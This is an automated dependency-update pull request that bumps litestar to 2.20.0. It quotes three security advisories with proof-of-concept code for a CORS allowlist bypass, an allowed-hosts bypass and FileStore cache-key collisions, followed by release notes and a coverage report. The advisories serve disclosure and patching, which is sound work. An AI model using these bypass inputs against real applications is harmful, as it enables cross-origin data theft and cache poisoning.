Update dependency litestar to v2.20.0 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
litestar (changelog)	2.19.0 → 2.20.0

GitHub Vulnerability Alerts

CVE-2026-25478

Summary

CORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin

Details

CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).

PoC

Server (poc_cors_server.py)

from litestar import Litestar, get
from litestar.config.cors import CORSConfig

@​get("/c")
async def c() -> str:
    return "ok"

cors = CORSConfig(
    allow_origins=["https://good.example"],
    allow_credentials=True,
)
app = Litestar([c], cors_config=cors)

uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002

Client (poc_cors_client.py)

import http.client

def req(origin: str) -> tuple[int, str | None]:
    c = http.client.HTTPConnection("127.0.0.1", 8002, timeout=3)
    c.request("GET", "/c", headers={"Origin": origin, "Host": "example.com"})
    r = c.getresponse()
    r.read()
    acao = r.getheader("Access-Control-Allow-Origin")
    c.close()
    return r.status, acao

print("evil:", req("https://evil.example"))
print("bypass:", req("https://goodXexample")) 

Expected (vulnerable behavior):

Origin: https://evil.example → no ACAO
Origin: https://goodXexample → ACAO: https://goodxexample/ (bypass)

Impact

Type: CORS policy bypass (cross-origin data exposure risk)
Who is impacted: apps using CORS allowlists to restrict browser cross-origin reads. If allow_credentials=True and authenticated endpoints return sensitive data, an attacker-controlled site can potentially read responses in a victim’s browser session.

CVE-2026-25479

Summary

AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

Details

In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

PoC

Server (poc_allowed_hosts_server.py)

from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@​get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)

uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client (poc_allowed_hosts_client.py)

import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior):
Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

Impact

Type: security control bypass (host allowlist)
Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

CVE-2026-25480

Summary

FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)

Details

litestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize("NFKD", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).
This transformation is not injective, e.g.:

• "k-" and "k45" both become "k45" (because - ord('-') == 45)
• "k/\n" becomes "k4710", colliding with "k4710"
• "K" (Kelvin sign) normalizes to "K", colliding with "K"

When used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.

PoC

import asyncio, tempfile
from litestar.stores.file import FileStore

async def main():
    d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
    store = FileStore(d, create_directories=True)
    await store.__aenter__()

    # 1) ASCII ord-collision: "-" -> 45
    await store.set("k-", b"A")
    v = await store.get("k45")
    print("k-  ->", v)
    print("k45 ->", await store.get("k45"))
    if v == b"A":
        print("VULNERABLE: 'k-' collides with 'k45'")

    # 2) NFKD collision: Kelvin sign -> K
    await store.set("K", b"B")   # U+212A
    v2 = await store.get("K")
    print("K ->", await store.get("K"))
    print("K ->", v2)
    if v2 == b"B":
        print("VULNERABLE: 'K' collides with 'K' (NFKD)")

if __name__ == "__main__":
    asyncio.run(main())

Impact

Vulnerability type: cache poisoning / cache key collision.
Impacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).
Possible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.

---

Release Notes

litestar-org/litestar (litestar)

v2.20.0

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Sponsors 🌟

Thanks to these incredible business sponsors:

• Scalar (@​scalar), Telemetry Sports (via @​chris-telemetry)

Thanks to these incredible personal sponsors:

• Polar.sh: @​Nozavi, @​cemrehancavdar, @​thomastu
• GitHub Sponsors: @​ddahan, @​roboflow, @​cbscsm, @​scalar, @​benjamin-kirkbride
• OpenCollective: Christian Y, Shaun Wah, Jordan Russel

New contributors 🎉

• @​casabre made their first contribution in #​4241
• @​disrupted made their first contribution in #​4552
• @​ApostolFet made their first contribution in #​4446
• @​GavinAstk made their first contribution in #​4456
• @​Umpire2018 made their first contribution in #​4416
• @​Jannchie made their first contribution in #​4131
• @​hwhsu1231 made their first contribution in #​4547
• @​enrico-stauss made their first contribution in #​4459

Changelog

https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0

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[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 93.16%. Comparing base (06561a5) to head (67fa90e).
⚠️ Report is 1 commits behind head on main.

Additional details and impacted files

@@           Coverage Diff           @@
##             main     #231   +/-   ##
=======================================
  Coverage   93.16%   93.16%           
=======================================
  Files          24       24           
  Lines        2106     2106           
=======================================
  Hits         1962     1962           
  Misses        144      144           

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